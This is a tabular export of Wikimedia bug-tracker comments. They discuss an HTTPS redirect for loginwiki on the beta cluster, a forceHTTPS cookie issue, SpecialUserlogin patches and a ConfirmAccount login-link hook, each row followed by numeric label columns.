+I'll do that in the morning when other people are around in case something blows up.",,,1382066698,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,True,,,7,True,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+280355,Remove https redirect for loginwiki in beta,"
+The contents of wikimedia.conf and also of wikimedia-ssl-backend.conf and many others here: 
+
+###
+# This Apache configuration file should be left empty
+#
+# It is supposed to be linked to whenever we want to skip an Apache
+# configuration file coming from production.
+###
+
+My apache-fu is long out of date.  Is it loginwiki.conf that we want?  It is the only conf file in the directory that mentions https explicitly.
+
+The contents of the directory: 
+
+@deployment-bastion:/data/project/apache/conf$ ls
+all.conf     foundation.conf  nonexistent.conf   redirects.conf  testwiki.conf  wikimedia.conf              wikiquote.conf    wikiversity.conf  wmflabs-logging.conf
+config.conf  loginwiki.conf   placeholder.conf   remnant.conf    upload.conf    wikimedia-ssl-backend.conf  wikisource.conf   wiktionary.conf   www.wikipedia.conf
+en2.conf     main.conf        postrewrites.conf  site.conf       wikidata.conf  wikinews.conf               wikispecies.conf  wmflabs.conf",,,1382019767,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,False,,,7,True,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+280351,Remove https redirect for loginwiki in beta,"oops.
+
+The Apache confs are in the project shared directory under /data/project/apache/conf   The directory is a local git repository so you can track changes.
+
+Once changed, you have to manually restart apache on deployment-apache32.pmtpa.wmflabs and deployment-apache33.pmtpa.wmflabs.
+
+Sorry for the confusion.",,,1381961510,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,True,,,7,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+280347,Remove https redirect for loginwiki in beta,This is in apache's config. So I made the change in wikimedia.conf for production... I'm not sure what the beta equivalent of that is.,,,1381960687,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,True,,,7,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+280342,Remove https redirect for loginwiki in beta,"I took a look through CommonSettings and InitialiseSettings but didn't find any likely sources to control a redirect to https.  
+
+Is this control actually in the apache .conf itself?  Or did I just miss it in the Settings.php files?",,,1381959368,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,False,,,7,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,0,0,0,0
+280338,Remove https redirect for loginwiki in beta,"The MediaWiki configuration for beta are the same as being used in production: operations/mediawiki-config.git although there are some override in files named suffixed with '-labs.php'.
+
+So if that feature got enabled in production, it has been enabled at the same time on beta :-]   Whatever the option is, you will want to override it either in wmf-config/CommonSettings-labs.php or wmf-config/InitialiseSettings-labs.php.",,,1381955494,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,True,,,7,True,1,0,0,1,0,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+57760,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"cookies in Chrome
+
+don't send forceHTTPS cookie for any beta.wmflabs.org host
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F12680}",Needs Triage,90.0,1381872000,1386004991.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_description,resolved,True,c2,3,False,False,False,6,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+277837,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,It shouldn't be. Anyone can reopen if they see this pop up again.,,,1386004991,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c2,3,True,,,13,True,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+277833,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"Chris, is that still an issue?",,,1385995538,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c2,3,True,,,13,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0
+277826,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"Change 90670 merged by jenkins-bot:
+Update beta to use loginwiki for SUL
+
+https://gerrit.wikimedia.org/r/90670",,,1382479112,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+277817,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"Change 90670 had a related patch set uploaded by CSteipp:
+Update beta to use loginwiki for SUL
+
+https://gerrit.wikimedia.org/r/90670",,,1382137008,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+277807,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"I'm not able to reproduce this in development, but I do see it in beta.
+
+It seems like SUL2 isn't configured correctly in beta, so I'll probably try and fix that first.
+
+I'm also a little suspicious that SpecialCentralAutoLogin::getCentralSession() looks directly at the user preference for cookie security instead of calling User::requiresHTTPS(), which would check if wgSecureLogin is disabled.",,,1381946028,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c2,3,True,,,7,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+57640,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Needs patches for other versions - only got 1.17 and 1.20 at the moment, so it probably needs 1.19, 1.21, and 1.22, especially as those are all of the current releases.
+
+Uncyclomedia has the file patched for 1.21, but nobody exported an actual patch file and I'm not sure it actually works, either - seems to have worked for uncyclopedia, but testing failed for ?pedia?
+
+
+(From what I understand, this is the patch to make it prevent the creation of accounts with names that folks might otherwise try to import. If I'm wrong about this someone smack me.)
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1381525920,1406357092.0,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,False,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_description,resolved,True,c2,3,False,False,False,6,True,1,1,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0
+2374918,"Add patches for SpecialUserlogin.php for mw1.21, 1.23",Oops,,,1720574743,,PHID-USER-escte3psz5yfd2nj3jzr,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,567,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+2374912,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change #1053081 had a related patch set uploaded (by Pppery; author: Pppery):
+%%%[mediawiki/extensions/timeline@master] ISO 8601 support%%%
+https://gerrit.wikimedia.org/r/1053081",,,1720573723,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,567,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+270879,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","I filed bug 68607 to stop needing patches.
+
+1.19 is going to be EOL soon, so I guess we don't need that. Uncyclomedia skipped 1.22, so a core patch for it isn't super important.",,,1406357092,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,47,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+270873,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 148409 merged by Legoktm:
+Core patch for 1.23.
+
+https://gerrit.wikimedia.org/r/148409",,,1406356911,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,47,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+270867,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 148409 had a related patch set uploaded by Jack Phoenix:
+Core patch for 1.23.
+
+https://gerrit.wikimedia.org/r/148409",,,1406048046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+270863,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Still need 1.19, 1.22.",,,1384914204,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+270859,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 87918 merged by Isarra:
+Add patch for 1.21.2
+
+https://gerrit.wikimedia.org/r/87918",,,1384914151,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+270854,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 87918 had a related patch set uploaded by Legoktm:
+Add patch for 1.21.2
+
+https://gerrit.wikimedia.org/r/87918",,,1384913873,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+57474,campaign parameter not passed in CTAs when user clicks login,"It only seems to be passed when you click sign up. What is stranger is if you inspect the URL of the login link it is there - it somehow gets stripped on click ing it.
+
+Expected:
+Whilst logged out click on edit button
+CTA shows with login and sign up buttons
+Click login
+Address bar URL has campaign=mobile_editPageActionCta in it
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1381255620,1381446243.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-fqpx3hoskia4wpi3onwj,task_description,declined,True,c2,3,False,False,True,5,True,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+260715,campaign parameter not passed in CTAs when user clicks login,Cannot replicate any more. Odd.,,,1381446243,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-fqpx3hoskia4wpi3onwj,task_subcomment,,True,c2,3,False,,,6,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0
+260712,campaign parameter not passed in CTAs when user clicks login,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1295",,,1381255700,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fqpx3hoskia4wpi3onwj,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+57468,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Hi please update login and create account buttons because the layout and look of them was changed in 1.20 when they separated them into create account and then login so please update the looks and the create account could be redirect to special request account. I am running Mediawiki 1.22 Wmf 20. I was told to file a bug here at https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Create_account_/_login_in_extension:confirmaccount
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial
+**Whiteboard**: aklapper-moreinfo",Needs Triage,90.0,1381247520,1398183479.0,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,False,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_description,declined,True,c2,3,False,False,False,5,True,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+260291,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","(In reply to paladox2015 from comment #9)
+> hi I am trying to use the uploader but I doint know how to use it I have a
+> mediawiki account but it says that it is not a unified diff patch
+
+Could you please use proper punctuation as it makes text way more readable?
+See https://en.wikipedia.org/wiki/Punctuation for the general concept.
+
+""man diff"" explains how to create a unified patch, and the stuff you uploaded here is not a patch, see https://en.wikipedia.org/wiki/Patch_%28Unix%29
+(Discussing this is out of scope for this specific bug report, and this bug report is closed anyway.)",,,1400427525,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,True,,,37,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+260284,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Created attachment 15429
+ingor the 1st patch this is the updated 1st patch
+
+**Attached**: {F12035}",,,1400414292,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,37,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+260276,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Created attachment 15428
+2nd patch
+
+this is the 2nd patch read details for the files located
+
+**Attached**: {F12034}",,,1400414048,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,37,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+260268,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Created attachment 15427
+this is the  first code change
+
+//attachment file_55468.txt ignored as obsolete//",,,1400413936,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,37,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+260260,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",hi I am trying to use the uploader but I doint know how to use it I have a mediawiki account but it says that it is not a unified diff patch,,,1400413837,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,37,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+260253,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",Ok thanks.,,,1400412095,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,37,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+260250,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","You are welcome to use Developer access
+  https://www.mediawiki.org/wiki/Developer_access
+to submit this as a patch (Git branch) directly into Gerrit:
+  https://www.mediawiki.org/wiki/Git/Tutorial
+
+Putting your branch in Git makes it easier to review it quickly. If you don't want to set up Git/Gerrit, you can also use https://tools.wmflabs.org/gerrit-patch-uploader/",,,1400337901,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,True,,,37,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+260245,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","hi please add the following to this https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FConfirmAccount/8371f282499d2f715a56ed18b6a9fa0b0e8e3e8b/frontend%2FConfirmAccountUI.hooks.php please
+
+the link is for request account and would be next to login 
+
+$wgHooks['PersonalUrls'][] = 'onPersonalUrls';
+
+
+function onPersonalUrls( array &$personal_urls, Title $title, SkinTemplate $skin  ) {
+    // Add a link to Special:RequestAccount if a link exists for login
+    if ( isset( $personal_urls['login'] ) || isset( $personal_urls['anonlogin'] ) ) {
+            $personal_urls['createaccount'] = array(
+                'text' => wfMessage( 'requestaccount' )->text(),
+                'href' => SpecialPage::getTitleFor( 'RequestAccount' )->getFullURL()
+            );
+    }
+    return true;
+}
+
+and please also change this code in that link it will change the name of link from login/create account to login 
+
+
+   public static function setRequestLoginLinks( array &$personal_urls, &$title ) {
+ 
+
+        if ( isset( $personal_urls['anonlogin'] ) ) {
+ 
+
+            $personal_urls['anonlogin']['text'] = wfMessage( 'login' )->escaped();
+ 
+
+        } elseif ( isset( $personal_urls['login'] ) ) {
+ 
+
+            $personal_urls['login']['text'] = wfMessage( 'login' )->escaped();
+ 
+
+        }
+ 
+
+        return true;
+ 
+
+    }",,,1400335533,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,37,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+260240,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","(In reply to paladox2015 from comment #4)
+> Hi This is a feature request.
+
+Comment 1 had open requests. Anyway, this ticket is closed now anyway.",,,1398232755,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,True,,,34,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1
+260235,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",Hi This is a feature request.,,,1398183254,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,33,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+260230,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Unfortunately closing this report as no further information has been provided.
+
+paladox2015: Please feel free to reopen this report if you can provide the information asked for in comment 1 and if this still happens. Thanks!",,,1398055417,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,True,,,33,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
